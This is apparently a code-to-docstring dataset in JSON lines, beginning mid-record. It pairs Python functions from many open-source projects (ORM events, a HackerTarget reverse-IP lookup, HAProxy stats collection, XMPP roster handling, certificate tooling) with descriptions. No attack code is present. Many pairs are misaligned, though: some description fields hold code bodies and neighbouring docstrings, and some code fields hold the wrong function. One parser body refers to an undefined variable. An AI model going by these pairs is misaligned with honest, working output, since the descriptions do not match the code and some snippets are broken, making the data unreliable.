"Reads an unsigned short from the packetreturn self.unpack(b'!H')[0]def read_others(self):Reads the answers, authorities and additionals section of the"} {"code": "def after_parent_attach(self, target, parent):\n", "nl": "Called after a :class:`.SchemaItem` is associated witha parent :class:`.SchemaItem`.:param target: the target object:param parent: the parent to which the target is being attached.:func:`.event.listen` also accepts the ``propagate=True``modifier for this event; when True, the listener function willbe established for any copies made of the target object,i.e. those copies that are generated when:meth:`_schema.Table.tometadata` is used."} {"code": "def reverseIpLookup(self, ip):\n params = urllib.parse.urlencode({\n 'q': ip\n })\n\n res = self.sf.fetchUrl(\n f\"https://api.hackertarget.com/reverseiplookup/?{params}\",\n useragent=self.opts['_useragent'],\n timeout=self.opts['_fetchtimeout']\n )\n\n if res['content'] is None:\n self.error(\"Unable to fetch hackertarget.com content.\")\n return None\n\n if res['code'] == '429':\n self.error(\"You are being rate-limited by HackerTarget\")\n self.errorState = True\n return None\n\n if \"No records\" in res['content']:\n return None\n\n hosts = res['content'].split('\\n')\n\n self.debug(f\"Found {len(hosts)} on {ip}\")\n\n return hosts\n", "nl": "Reverse lookup hosts on the same IP addressArgs:ip (str): IPv4 addressReturns:list: (co)hosts on provided IP addresses"} {"code": "def parser(xml):\n match = RE_HEADINGS.search(u(xmlthing))\n if match:\n try:\n buf = match.group()\n flds = RE_FLDS.findall(buf)\n vals = RE_VALS.findall(buf)\n return dict(zip(flds, vals))\n except Exception:\n LOGGER.debug(\"Bad parsing of 'headings' for 'oclc' service!\")\n return {}\n\n\n@cache", "nl": "Parse the response from the service.if not xml:return {} # pragma: no coverdata = {}match = RE_OWI.search(u(xml))if match:data['owi'] = match.group(1)match = RE_OCLC.search(u(xml))if match:data['oclc'] = match.group(1)match = RE_LCC.search(u(xml))if match:buf = match.group()match = RE_SFA.search(buf)if match:data['lcc'] = match.group(1)match = RE_DDC.search(u(xml))if match:buf = match.group()match = RE_SFA.search(buf)if match:data['ddc'] = match.group(1)fast = parser_headings(xml)if fast:data['fast'] = fastreturn data# pylint: disable=broad-exceptdef parser_headings(xmlthing):RE parser for classify.oclc service (headings branch)."} {"code": "def validate(self, traceparent):\n try:\n if self.TRACEPARENT_REGEX.match(traceparent):\n return traceparent\n except Exception:\n logger.debug(\"traceparent does not follow version {} specification\".format(self.SPECIFICATION_VERSION))\n return None\n\n @staticmethod", "nl": "Method used to validate the traceparent header:param traceparent: string:return: traceparent or None"} {"code": "def decode_raw(val):\n if isinstance(val, list):\n return [wrap_types(v) for v in val]\n if isinstance(val, abc.Mapping):\n typ = val.get(\"$$type\")\n if typ:\n return CompareType(TYPES[typ])\n d = {}\n for key in val:\n d[key] = wrap_types(val[key])\n return d\n return val", "nl": "Decode RawBSONDocuments in the given container.if isinstance(val, (list, abc.Mapping)):return decode(encode({\"v\": val}))[\"v\"]return valTYPES = {\"binData\": Binary,\"long\": Int64,}def wrap_types(val):Support $$type assertion in command results."} {"code": "def requestInfo(self, entity, nodeIdentifier='', sender=None):\n\n request = _DiscoRequest('info', nodeIdentifier)\n request.sender = sender\n request.recipient = entity\n\n d = self.request(request)\n d.addCallback(lambda iq: DiscoInfo.fromElement(iq.query))\n return d\n\n", "nl": "Request information discovery from a node.@param entity: Entity to send the request to.@type entity: L{jid.JID}@param nodeIdentifier: Optional node to request info from.@type nodeIdentifier: C{unicode}@param sender: Optional sender address.@type sender: L{jid.JID}"} {"code": "def CombineStates(self, state0, state1, switch_cond):\n return state0\n\n", "nl": "Combines states based on a switch conditional.Args:state0: a NestedMap of states to use for batch elements where switch_condis true.state1: a NestedMap of states to use for batch elements where switch_condis false.switch_cond: bool tensor of shape [batch] on which to switch.Returns:a NestedMap of states."} {"code": "def __init__(self, key=None, value=None, local_vars_configuration=None): # noqa: E501\n\n\n :return: The key of this V1alpha1MetricLabel.\n :rtype: str\n \"\"\"", "nl": "V1alpha1MetricLabel - a model defined in OpenAPI # noqa: E501if local_vars_configuration is None:local_vars_configuration = Configuration()self.local_vars_configuration = local_vars_configurationself._key = Noneself._value = Noneself.discriminator = Noneself.key = keyself.value = value@propertydef key(self):Gets the key of this V1alpha1MetricLabel. # noqa: E501"} {"code": "def _try_get_wealth(address: Address, url: Optional[str] = None) -> None:\n if url is None:\n raise ValueError(", "nl": "Get wealth from the faucet for the provided address.:param address: the address.:param url: the url"} {"code": "def add_path(self, src, prefix=''):\n self.sources.append((src, prefix))\n", "nl": "Add paths to synchronize from the source."} {"code": "def _collect(self, section=None):\n if self.config['method'] == 'http':\n csv_data = self.http_get_csv_data(section)\n elif self.config['method'] == 'unix':\n csv_data = self.unix_get_csv_data()\n else:\n self.log.error(\"Unknown collection method: %s\",\n self.config['method'])\n csv_data = []\n\n data = list(csv.reader(csv_data))\n headings = self._generate_headings(data[0])\n section_name = section and self._sanitize(section.lower()) + '.' or ''\n\n for row in data:\n if ((self._get_config_value(section, 'ignore_servers') and\n row[1].lower() not in ['frontend', 'backend'])):\n continue\n\n part_one = self._sanitize(row[0].lower())\n part_two = self._sanitize(row[1].lower())\n metric_name = '%s%s.%s' % (section_name, part_one, part_two)\n\n for index, metric_string in enumerate(row):\n if index < 2:\n continue\n\n metric_string_ok = False\n try:\n metric_value = float(metric_string)\n except ValueError:\n if not metric_string:\n continue\n metric_string_ok = True\n metric_value = 1\n\n if metric_string_ok:\n stat_name = '%s.%s.%s' % (metric_name, headings[index],\n self._sanitize(metric_string))\n else:\n stat_name = '%s.%s' % (metric_name, headings[index])\n\n stat_name = '%s.%s' % (metric_name, headings[index])\n self.publish(stat_name, metric_value, metric_type='GAUGE')\n", "nl": "Collect HAProxy Stats"} {"code": "def has_credentials(self):\n credentials = _credentials_from_request(self.request)\n return (credentials and not credentials.invalid and\n credentials.has_scopes(self._get_scopes()))\n", "nl": "Returns True if there are valid credentials for the current userand required scopes."} {"code": "def _password_gen(self, encoded_bytes):\n return encoded_bytes[:random.randrange(16, 64)]\n", "nl": "Returns ``str`` with a length between 16 and 64.:param encoded_bytes: ``str`` must be at least 64 charters long"} {"code": "def test_start_pod_failure(self, node_available_mock, db_pod_mock):\n pod = mock.Mock()\n node_available_mock.return_value = False\n\n with self.assertRaisesRegexp(\n NoSuitableNode,\n \"There are no suitable nodes for the pod.*\"):\n self.pod_collection._start_pod(pod)\n\n node_available_mock.assert_called_once_with(pod)\n\n @mock.patch.object(podcollection, 'DBPod')", "nl": "Test _start_pod with no available nodes:type post_: mock.Mock"} {"code": "def has_errors(self):\n request = get_request()\n has_errors = False\n if self.is_submitted():\n for widget in self.get_all_widgets():\n if widget.has_error(request=request):\n has_errors = True\n return has_errors\n", "nl": "() -> boolEnsure that all components of the form have parsed themselves. Returntrue if any of them have errors."} {"code": "def get_ydl_opts() -> Dict[str, Any]:\n postprocessors = [\n {\"key\": \"FFmpegMetadata\"},\n {\n \"key\": \"EmbedThumbnail\",\n \"already_have_thumbnail\": True,\n },\n ]\n return {\n \"format\": \"bestaudio[ext=m4a]/best[ext=m4a]\",\n \"outtmpl\": os.path.join(settings.SONGS_CACHE_DIR, \"%(id)s.%(ext)s\"),\n \"noplaylist\": True,\n \"cachedir\": False,\n \"no_color\": True,\n \"writethumbnail\": True,", "nl": "This method returns a dictionary containing sensible defaults for yt-dlp options.It is roughly equivalent to the following command:yt-dlp --format bestaudio[ext=m4a]/best[ext=m4a] --output '%(id)s.%(ext)s' \\--no-playlist --no-cache-dir --write-thumbnail --default-search auto \\--add-metadata --embed-thumbnail"} {"code": "def construct(self, input_ids):\n Postprocessors apply positional and token type embeddings to word embeddings.\n\n Args:\n embedding_size (int): The size of each embedding vector.\n embedding_shape (list): [batch_size, seq_length, embedding_size], the shape of\n each embedding vector.\n use_token_type (bool): Specifies whether to use token type embeddings. Default: False.\n token_type_vocab_size (int): Size of token type vocab. Default: 16.\n use_one_hot_embeddings (bool): Specifies whether to use one hot encoding form. Default: False.\n initializer_range (float): Initialization value of TruncatedNormal. Default: 0.02.\n max_position_embeddings (int): Maximum length of sequences used in this\n model. Default: 512.\n dropout_prob (float): The dropout probability. Default: 0.1.\n \"\"\"", "nl": "embedding lookupflat_ids = self.reshape(input_ids, self.shape_flat)if self.use_one_hot_embeddings:one_hot_ids = self.one_hot(flat_ids, self.vocab_size, self.on_value, self.off_value)output_for_reshape = self.array_mul(one_hot_ids, self.embedding_table)else:output_for_reshape = self.gather(self.embedding_table, flat_ids, 0)output = self.reshape(output_for_reshape, self.shape)return output, self.embedding_tableclass EmbeddingPostprocessor(nn.Cell):"} {"code": "def test_get_deserialize_handler_unknown_content_type(self):\n input_data = {'servers': ['test=pass']}\n content_type = 'application/json'\n serializer = wsgi.Serializer()\n result = serializer.serialize(input_data, content_type)\n\n self.assertEqual(b'{\"servers\": [\"test=pass\"]}', result)\n", "nl": "Verify that exception InvalidContentType is raised.content_type = 'application/unknown'serializer = wsgi.Serializer()self.assertRaises(exception.InvalidContentType,serializer.get_deserialize_handler, content_type)def test_serialize_content_type_json(self):Test serialize with content type json."} {"code": "def compute_nearest_neighbour(self, features_with_labels):\n features = features_with_labels.drop(columns=['human_label', 'score'])\n label_mask = features_with_labels['human_label'] != -1\n labelled = features.loc[features_with_labels.index[label_mask]].values\n features = features.values\n\n mytree = cKDTree(labelled)\n distances = np.zeros(len(features))\n for i in range(len(features)):\n dist = mytree.query(features[i])[0]\n distances[i] = dist\n return distances\n", "nl": "Calculates the distance of each instance to its nearest labelledneighbour.Parameters----------features_with_labels : pd.DataFrameA dataframe where the first columns are the features and the lasttwo columns are 'human_label' and 'score' (the anomaly score fromthe ML algorithm).Returns-------arrayDistance of each instance to its nearest labelled neighbour."} {"code": "def total_yngve_depth(yngve_tree_root):\n tot_score = 0\n for leaf in yngve_tree_root.leaves:\n tot_score += leaf.score\n return tot_score", "nl": "Returns the total depth of the ynvge tree of the sentenceArgs:yngve_tree_root (obj): The root nodeReturns:int: The total depth of the yngve tree"} {"code": "def handle_subscribe(self, presence):\n if self.xmpp.is_component:\n if not self['from'] and not self['pending_in']:\n self['pending_in'] = True\n self.xmpp.event('roster_subscription_request', presence)\n elif self['from']:\n self._subscribed()\n self.save()\n else:\n self.xmpp.event('roster_subscription_request', presence)\n", "nl": "+------------------------------------------------------------------+| EXISTING STATE | DELIVER? | NEW STATE |+------------------------------------------------------------------+| \"None\" | yes | \"None + Pending In\" || \"None + Pending Out\" | yes | \"None + Pending Out/In\" || \"None + Pending In\" | no | no state change || \"None + Pending Out/In\" | no | no state change || \"To\" | yes | \"To + Pending In\" || \"To + Pending In\" | no | no state change || \"From\" | no * | no state change || \"From + Pending Out\" | no * | no state change || \"Both\" | no * | no state change |+------------------------------------------------------------------+"} {"code": "def __get_standardized_cgroup2_info(self, virsh_cmd=None):\n standardized_cgroup_info = {}\n cgroup_path = self.get_cgroup_path()\n if virsh_cmd == \"blkiotune\":\n weight_file_name = CGROUP_V2_BLKIO_FILE_MAPPING[\"weight\"]\n iomax_file_name = CGROUP_V2_BLKIO_FILE_MAPPING[\"wiops\"]\n path_to_weight = os.path.join(cgroup_path.split(\"libvirt\")[0],\n weight_file_name)\n with open(path_to_weight, 'r') as weight_file:\n weight_value = re.search(r'\\d+', weight_file.read())\n if weight_value:\n weight_value = weight_value.group()\n standardized_cgroup_info[\"weight\"] = weight_value\n path_to_iomax = os.path.join(cgroup_path, iomax_file_name)\n with open(path_to_iomax, 'r') as iomax_file:\n iomax_info = iomax_file.readlines()\n for line in iomax_info:\n dev_iomax_info = line.strip().split()\n dev_iomax_dict = {}\n dev_num = dev_iomax_info[0]\n for i in range(1, len(dev_iomax_info)):\n key, value = dev_iomax_info[i].split(\"=\")\n dev_iomax_dict[key] = value\n standardized_cgroup_info[dev_num] = dev_iomax_dict\n elif virsh_cmd == \"memtune\":\n for cg_key, cg_file_name in list(CGROUP_V2_MEM_FILE_MAPPING.items()):\n with open(os.path.join(cgroup_path, cg_file_name), 'r') as cg_file:\n cg_file_value = cg_file.read().strip()\n standardized_cgroup_info[cg_key] = cg_file_value\n elif virsh_cmd == \"schedinfo\":\n vcpu_dirs = self.__get_cpu_subdirs(cgroup_path, \"vcpu\")\n iothread_dirs = self.__get_cpu_subdirs(cgroup_path, \"iothread\")\n for cg_key, cg_file_name in list(CGROUP_V2_SCHEDINFO_FILE_MAPPING.items()):\n if \"\" in cg_file_name:\n cg_file_name = cg_file_name.replace(\"\", vcpu_dirs[0])\n if \"\" in cg_file_name:\n if iothread_dirs:\n cg_file_name = cg_file_name.replace(\"\", iothread_dirs[0])\n else:\n continue\n cg_dir = cgroup_path\n if cg_key == \"cpu_shares\":\n cg_dir = cgroup_path.split(\"libvirt\")[0]\n with open(os.path.join(cg_dir, cg_file_name), 'r') as cg_file:\n list_index = 0\n cg_file_values = cg_file.read().strip().split()\n if \"period\" in cg_key:\n list_index = 1\n standardized_cgroup_info[cg_key] = cg_file_values[list_index]\n else:\n LOG.error(\"You've provided a wrong virsh cmd: %s\", virsh_cmd)\n return standardized_cgroup_info\n", "nl": "Get the cgroup info on a cgroupv2 enabled system, and standardize it toa dict:param virsh_cmd: The virsh cmd used. This is to judge which cgroupinfo to get. Such as, when virsh cmd is 'blkiotune',the blkio related cgroup info will be returned:return: A dict containing the cgroup info"} {"code": "def contour(projectHome):\n print 'Creating contour map'\n\n step = 0.25\n\n gscript.run_command('r.in.gdal', flags='o',\n input=projectHome+'/odm_georeferencing/odm_georeferencing_model_dem.tif',\n output=rsurfName, memory=2047,\n overwrite=overwrite)\n\n gscript.run_command('r.contour', input=rsurfName, output=contourName,\n step=step, overwrite=overwrite)\n\n gscript.run_command('v.out.ogr', input=contourName,\n output=projectHome +\n '/odm_georeferencing/odm_contour.shp',\n overwrite=overwrite)\n\n", "nl": "Creates a contour map based on the ODM project DEM model."} {"code": "def getEffectiveLevel(self):\n\n if instance.logging_name:\n name = \"%s.%s.%s\" % (instance.__class__.__module__,\n instance.__class__.__name__,\n instance.logging_name)\n else:\n name = \"%s.%s\" % (instance.__class__.__module__,\n instance.__class__.__name__)\n\n instance._echo = echoflag\n\n if echoflag in (False, None):\n logger = logging.getLogger(name)\n else:\n logger = InstanceLogger(echoflag, name)\n\n instance.logger = logger\n\n\nclass echo_property(object):\n __doc__ = \"\"\"\\\n", "nl": "What's the effective level for this logger?level = self._echo_map[self.echo]if level == logging.NOTSET:level = self.logger.getEffectiveLevel()return leveldef instance_logger(instance, echoflag=None):create a logger for an instance that implements :class:`.Identified`."} {"code": "def show(self):", "nl": "Show address info"} {"code": "def save_configuration(self):\n self.check_credentials()\n c = self._get_pypirc_command()\n c._store_pypirc(self.username, self.password)\n", "nl": "Save the PyPI access configuration. You must have set ``username`` and``password`` attributes before calling this method.Again, distutils is used to do the actual work."} {"code": "def ensure_categorical(arr):\n\n if not is_categorical(arr):\n from pandas import Categorical\n\n arr = Categorical(arr)\n return arr\n\n", "nl": "Ensure that an array-like object is a Categorical (if not already).Parameters----------arr : array-likeThe array that we want to convert into a Categorical.Returns-------cat_arr : The original array cast as a Categorical. If it alreadyis a Categorical, we return as is."} {"code": "def assertNotEqual(self, first, second, msg=None):\n if not first != second:\n msg = self._formatMessage(msg, '%s == %s' % (safe_repr(first),\n safe_repr(second)))\n raise self.failureException(msg)\n", "nl": "Fail if the two objects are equal as determined by the '!='operator."} {"code": "def se_densenet201(pretrained=False, **kwargs):\n model = SEDenseNet(num_init_features=64, growth_rate=32, block_config=(6, 12, 48, 32),\n **kwargs)\n if pretrained:\n pattern = re.compile(\n r'^(.*denselayer\\d+\\.(?:norm|relu|conv))\\.((?:[12])\\.(?:weight|bias|running_mean|running_var))$')\n state_dict = model_zoo.load_url(model_urls['densenet201'])\n for key in list(state_dict.keys()):\n res = pattern.match(key)\n if res:\n new_key = res.group(1) + res.group(2)\n state_dict[new_key] = state_dict[key]\n del state_dict[key]\n model.load_state_dict(state_dict, strict=False)\n return model\n\n", "nl": "rDensenet-201 model from`\"Densely Connected Convolutional Networks\" `_Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def acquire(self):\n if self.available:\n return self.available.pop()\n else:\n return None\n", "nl": "Return next available identity or None."} {"code": "def _configure_all(cls):\n configure_mappers()\n", "nl": "Class-level path to the :func:`.configure_mappers` call."} {"code": "def on_update(self):\n for w in self.children[:]:\n w.dispatch_event('on_update')\n", "nl": "Event called when window are update the widget tree.(Usually before on_draw call.)"} {"code": "def testDisconnectCleanup(self):\n\n d = self.iq.send()\n xs = self.xmlstream\n xs.connectionLost(\"Closed by peer\")\n self.assertFailure(d, ConnectionLost)\n return d\n\n", "nl": "Test if deferreds for iq's that haven't yet received a responsehave their errback called on stream disconnect."} {"code": "def military_ship(self, min_length: Optional[int] = None, max_length: Optional[int] = None) -> str:\n return self.random_element(self.military_ship_prefix, min_length, max_length)\n", "nl": ":example: 'USS'"} {"code": "def start(self, builddir, program, forward_args):\n child = None\n try:\n prog_path = self.findProgram(builddir, program)\n if prog_path is None:\n return\n\n start_env, start_vars = self.buildProgEnvAndVars(prog_path, builddir)\n if self.getScript('start'):\n cmd = [\n os.path.expandvars(string.Template(x).safe_substitute(**start_vars))\n for x in self.getScript('start')\n ] + forward_args\n else:\n cmd = shlex.split('./' + prog_path) + forward_args\n\n logger.debug('starting program: %s', cmd)\n child = subprocess.Popen(\n cmd, cwd = builddir, env = start_env\n )\n child.wait()\n if child.returncode:\n return \"process exited with status %s\" % child.returncode\n child = None\n except OSError as e:\n import errno\n if e.errno == errno.ENOEXEC:\n return (\"the program %s cannot be run (perhaps your target \"+", "nl": " Launch the specified program. Uses the `start` script if specifiedby the target, attempts to run it natively if that script is notdefined."} {"code": "def compress_mask(self, info, verbose=False):\n name = info['var_old_name']\n if verbose:\n logging.info('EMA drop: {}'.format(name))\n self._check_exist(name)\n if self._info[name]['compress_masked']:\n if verbose:\n logging.info('EMA drop: {} skipped'.format(name))\n else:\n return self.pop(name)\n\n @staticmethod", "nl": "Adjust parameters values by masks for dynamic network shrinkage.var_old_name = info['var_old_name']var_new_name = info['var_new_name']var_new = info['var_new']mask_hook = info['mask_hook']mask = info['mask']if verbose:logging.info('EMA compress: {} -> {}'.format(var_old_name, var_new_name))if self._info[var_old_name]['compress_masked']:raise RuntimeError('May have dependencies in compress')if var_new_name in self._info and self._info[var_new_name]['compress_masked']:raise RuntimeError('Compress {} twice'.format(var_new_name))ema_old = self._shadow.pop(var_old_name)ema_new = torch.zeros_like(var_new, device=ema_old.device)mask_hook(ema_new, ema_old, mask)self._info[var_new_name] = self._info.pop(var_old_name)self._info[var_new_name]['compress_masked'] = Trueself._shadow[var_new_name] = ema_newdef compress_drop(self, info, verbose=False):Remove unused parameters for dynamic network shrinkage."} {"code": "def make_url(name_or_url):\n\n if isinstance(name_or_url, util.string_types):\n return _parse_rfc1738_args(name_or_url)\n else:\n return name_or_url\n\n", "nl": "Given a string or unicode instance, produce a new URL instance.The given string is parsed according to the RFC 1738 spec. If anexisting URL object is passed, just returns the object."} {"code": "def remove_constraint(self, constraint_uid):\n pybullet.changeConstraint(constraint_uid, maxForce=0,\n physicsClientId=self.uid)\n pybullet.removeConstraint(constraint_uid, physicsClientId=self.uid)\n", "nl": "Remove a constraint.Args:constraint_uid: The constraint unique ID."} {"code": "def _rollback_and_restart(self, success_msg):\n logger.critical(\"Rolling back to previous server configuration...\")\n reporter = zope.component.getUtility(interfaces.IReporter)\n try:\n self.installer.rollback_checkpoints()\n self.installer.restart()\n except:\n reporter.add_message(\n \"An error occurred and we failed to restore your config and \"\n \"restart your server. Please post to \"\n \"https://community.letsencrypt.org/c/help \"\n \"with details about your configuration and this error you received.\",\n reporter.HIGH_PRIORITY)\n raise\n reporter.add_message(success_msg, reporter.HIGH_PRIORITY)\n\n", "nl": "Rollback the most recent checkpoint and restart the webserver:param str success_msg: message to show on successful rollback"} {"code": "def flatten_results_dict(results):\n r = {}\n for k, v in results.items():\n if isinstance(v, Mapping):\n v = flatten_results_dict(v)\n for kk, vv in v.items():\n r[k + \"/\" + kk] = vv\n else:\n r[k] = v\n return r", "nl": "Expand a hierarchical dict of scalars into a flat dict of scalars.If results[k1][k2][k3] = v, the returned dict will have the entry{\"k1/k2/k3\": v}.Args:results (dict):"} {"code": "def ceil_inplace(a):\n\n\n@_scal_inplace", "nl": "ceil of `a` (inplace on `a`)@_scal_inplacedef floor_inplace(a):floor of `a` (inplace on `a`)"} {"code": "def test_create_package_with_dependencies(toolchains):\n assert os.path.exists(fake_ctc.get_sysroot())", "nl": " Test Create Package With Dependencies toolchains.create(\"foo\")world_package = toolchains.add_package(\"foo\", \"world\")hello_package = toolchains.add_package(\"foo\", \"hello\", run_depends=[\"world\"])toolchain = qitoolchain.get_toolchain(\"foo\")actual = toolchain.solve_deps([hello_package], dep_types=[\"runtime\"])assert actual == [world_package, hello_package]def test_fake_ctc(fake_ctc): Test Fake Cross Toolchain "} {"code": "def getKartDecalType( self ):\n return self.kartDNA[ KartDNA.decalType ]\n", "nl": "Purpose: The getKartDecalType Method obtains the decalaccessory of the kart by accessing the Kart DNA.Params: NoneReturn: decalType - the type of decal set for the kart."} {"code": "def check_file(self, filepath):\n if not os.path.isfile(filepath):\n print(\"{} Did not generate: {}\".format(\n ERROR,\n os.path.abspath(filepath),\n ))\n", "nl": "Check file, make sure it exists@param filepath: File path@returns: True if path exists"} {"code": "def _get_missing_trees(self, path, root_tree):\n dirpath = posixpath.split(path)[0]\n dirs = dirpath.split('/')\n if not dirs or dirs == ['']:\n return []\n", "nl": "Creates missing ``Tree`` objects for the given path.:param path: path given as a string. It may be a path to a file node(i.e. ``foo/bar/baz.txt``) or directory path - in that case it mustend with slash (i.e. ``foo/bar/``).:param root_tree: ``dulwich.objects.Tree`` object from which we starttraversing (should be commit's root tree)"} {"code": "def get_trial(self, trial_id, timeout=None):\n payload = {\"name\": name, \"spec\": specification}\n response = requests.post(urljoin(self._path, \"trials\"), json=payload)\n return self._deserialize(response)\n", "nl": "Returns trial information by trial_id.response = requests.get(urljoin(self._path, \"trials/{}\".format(trial_id)), timeout=timeout)return self._deserialize(response)def add_trial(self, name, specification):Adds a trial by name and specification (dict)."} {"code": "def __getitem__(self, key):\n if isinstance(key, basestring):\n return self._map.get(key, None)\n return list.__getitem__(self, key)\n", "nl": "Provides ability to lookup a schema field by position or by name."} {"code": "def test_render_parse_load_namespace_fallback(self):\n config = render_parse_load(\n conf, environment={\"namespace\": \"prod\"}, validate=False)\n config.validate()\n self.assertEquals(config.namespace, \"prod\")\n", "nl": "conf = stacks:- name: vpcclass_path: blueprints.VPC"} {"code": "def max_x(self):\n return find_peaks_cwt(self.y, window)\n", "nl": "Get maximum mode frequency.return max(self.x)def get_peak_indices(self, window=np.arange(1, 10)):Get peak indices for non-zero peaks."} {"code": "def test_terminal_closing(self):\n data = {'rows': '25', 'cols': '80'}\n response = yield self.http_client.fetch(\n self.get_url('/api/terminals'),\n method=\"POST\",\n body=urlencode(data)\n )\n\n pid = response.body.decode('utf-8')\n sock = yield self._mk_connection(pid)\n _ = yield sock.read_message()\n\n data = {'rows': '23', 'cols': '73'}\n response = yield self.http_client.fetch(\n self.get_url('/api/terminals/{0}/size'.format(pid)),\n method=\"POST\",\n body=urlencode(data)\n )\n\n sock.write_message('cd {0}{1}'.format(LOCATION_SLASH, LINE_END))\n\n python_bin = sys.executable or \"python\"\n python_exec = python_bin + ' print_size.py' + LINE_END\n sock.write_message(python_exec)\n\n expected_size = '(73, 23)'\n msg = ''\n fail_retry = 50\n tries = 0\n while expected_size not in msg:\n if tries == fail_retry:\n break\n msg = yield sock.read_message()\n tries += 1\n self.assertIn(expected_size, msg)\n yield self.close(sock)", "nl": "Test terminal destruction.data = {'rows': '25', 'cols': '80'}response = yield self.http_client.fetch(self.get_url('/api/terminals'),method=\"POST\",body=urlencode(data))pid = response.body.decode('utf-8')sock = yield self._mk_connection(pid)_ = yield sock.read_message()yield self.close(sock)try:sock.write_message(' This shall not work')except AttributeError:passyield self.close(sock)@flaky(max_runs=3)@pytest.mark.timeout(10)@testing.gen_test@pytest.mark.skipif(os.name == 'nt', reason=\"Doesn't work on Windows\")def test_terminal_resize(self):Test terminal resizing."} {"code": "def test_failed_no_left_panel(self):\n self._get_build_dashboard(self.build3)\n\n left_panel = self.find_all('\n self.assertEqual(len(left_panel), 0)\n\n build_summary = self.find_all('[data-role=\"build-summary-heading\"]')\n self.assertEqual(len(build_summary), 0)\n", "nl": "Builds which fail should have no left panel and no build summary"} {"code": "def from_string(cls, source, section=\"passlib\", encoding=\"utf-8\"):\n ... [passlib]\n ... schemes = sha256_crypt, des_crypt", "nl": "create new CryptContext instance from an INI-formatted string.:type source: unicode or bytes:arg source:string containing INI-formatted content.:type section: str:param section:option name of section to read from, defaults to ``\"passlib\"``.:type encoding: str:arg encoding:optional encoding used when source is bytes, defaults to ``\"utf-8\"``.:returns:new :class:`CryptContext` instance, configured based on theparameters in the *source* string.Usage example::>>> from passlib.context import CryptContext>>> context = CryptContext.from_string("} {"code": "def __init__(self, name, contents=None):\n self.name = name\n self.contents = list(contents or [])\n\n\n\n\nclass Writer(object):\n \"\"\"Visual Studio XML project writer.\"\"\"", "nl": "Initializes the folder.Args:name: Filter (folder) name.contents: List of filenames and/or Filter objects contained."} {"code": "def get_labels(self):\n examples = []\n for (i, line) in enumerate(lines):\n if i == 0:\n continue\n guid = \"%s-%s\" % (set_type, i)\n text_a = tokenization.convert_to_unicode(line[3])\n text_b = tokenization.convert_to_unicode(line[4])\n if set_type == \"test\":\n label = \"0\"\n else:\n label = tokenization.convert_to_unicode(line[0])\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))\n return examples\n\n\nclass ColaProcessor(DataProcessor):\n \"\"\"Processor for the CoLA data set (GLUE version).\"\"\"", "nl": "See base class.return [\"0\", \"1\"]def _create_examples(self, lines, set_type):Creates examples for the training and dev sets."} {"code": "def edit_post(id):\n\n if 'username' in session:\n g.current_user = User.query.filter_by(\n username=session['username']).first()\n else:\n g.current_user = None\n\n\n@blog_blueprint.errorhandler(404)", "nl": "View function for edit_post.post = Post.query.get_or_404(id)# Ensure the user logged in.if not current_user:return redirect(url_for('main.login'))# Only the post onwer can be edit this post.if current_user != post.user:return redirect(url_for('blog.post', post_id=id))# Admin can be edit the post.permission = Permission(UserNeed(post.user.id))if permission.can() or admin_permission.can():form = PostForm()# if current_user != post.user:# abort(403)if form.validate_on_submit():post.title = form.title.datapost.text = form.text.datapost.publish_date = datetime.now()# Update the postdb.session.add(post)db.session.commit()return redirect(url_for('blog.post', post_id=post.id))else:abort(403)# Still retain the original content, if validate is false.form.title.data = post.titleform.text.data = post.textreturn render_template('edit_post.html', form=form, post=post)# NOTE(Jmilk Fan): Use the Flask-Login's current_user object to replace# g.current_user# @blog_blueprint.before_requestdef check_user():Check the user whether logged in."} {"code": "def retry_request():\n parms = { 'showRecords': 'false', 'showSubdomains': 'false' }\n response = self.make_request('GET', ['domains', str(id)], parms=parms)\n\n if (response.status < 200) or (response.status > 299):\n response.read()\n raise ResponseError(response.status, response.reason)\n read_output = response.read()\n domains = json.loads(read_output)\n\n return Domain(self, **domains)\n", "nl": "Re-connect and re-try a failed request onceself.http_connect()self.connection.request(method, path, data, headers)return self.connection.getresponse()try:if 'PYTHON_CLOUDDNS_DEBUG' in os.environ and \\os.environ['PYTHON_CLOUDDNS_DEBUG'].strip():import sysurl = \"https://%s%s\\n\" % \\(self.connection_args[0],path)sys.stderr.write(\"METHOD: %s\\n\" % (str(method)))sys.stderr.write(\"URL: %s\" % (url))sys.stderr.write(\"HEADERS: %s\\n\" % (str(headers)))sys.stderr.write(\"DATA: %s\\n\" % (str(data)))sys.stderr.write(\"curl -X '%s' -H 'X-Auth-Token: %s' %s %s\" % \\(method, self.token, url, str(data)))self.connection.request(method, path, data, headers)response = self.connection.getresponse()except (socket.error, IOError, HTTPException):response = retry_request()if response.status == 401:self._authenticate()headers['X-Auth-Token'] = self.tokenresponse = retry_request()return responsedef get_domains(self, name=None, offset=0, limit=None):return DomainResults(self, self.list_domains_info(name,offset,limit))def list_domains_info(self, name=None, offset=0, limit=None):if offset != 0:if limit is None:raise ValueError('limit must be specified when setting offset')elif offset % limit > 0:raise ValueError('offset (%d) must be a multiple of limit (%d)' %(offset, limit))if limit is None:limit = int(ceil(self.total_domains / 100.0) * 100)domains = []step = min(limit, 100) if limit > 0 else 1for _offset in xrange(offset, offset + limit, step):resp = self._list_domains_info_raw(name, _offset, step)domains_info = json.loads(resp)if 'totalEntries' in domains_info:self._total_domains = domains_info['totalEntries']domains.extend(domains_info['domains'])return domains[:limit]def _list_domains_info_raw(self, name, offset, limit):parms = {'offset': offset, 'limit': limit}if name is not None:parms.update({'name': name})response = self.make_request('GET', ['domains'], parms=parms)if (response.status < 200) or (response.status > 299):response.read()raise ResponseError(response.status, response.reason)return response.read()def get_domain(self, id=None, **dico):if id:dico['id'] = idif 'name' in dico:dico['name'] = dico['name'].lower()domains = self.list_domains_info(name=dico.get('name', None))for domain in domains:for k in dico:if k in domain and domain[k] == dico[k]:return Domain(self, **domain)raise UnknownDomain(\"Not found\")def get_domain_details(self, id=None):Get details on a particular domain"} {"code": "def focus(self, item=None):\n return self.tk.call(self._w, \"focus\", item)\n\n", "nl": "If item is specified, sets the focus item to item. Otherwise,returns the current focus item, or '' if there is none."} {"code": "def convert_sqlalchemy_hybrid_property_union(arg):\n from .registry import get_global_registry\n\n nested_types = list(filter(lambda x: not type(None) == x, arg.__args__))\n\n graphene_types = list(map(convert_sqlalchemy_hybrid_property_type, nested_types))\n\n if len(graphene_types) == 1:\n return graphene_types[0]\n\n if not all(isinstance(graphene_type, type(graphene.ObjectType)) for graphene_type in graphene_types):\n raise ValueError(\"Cannot convert hybrid_property Union to graphene.Union: the Union contains scalars. 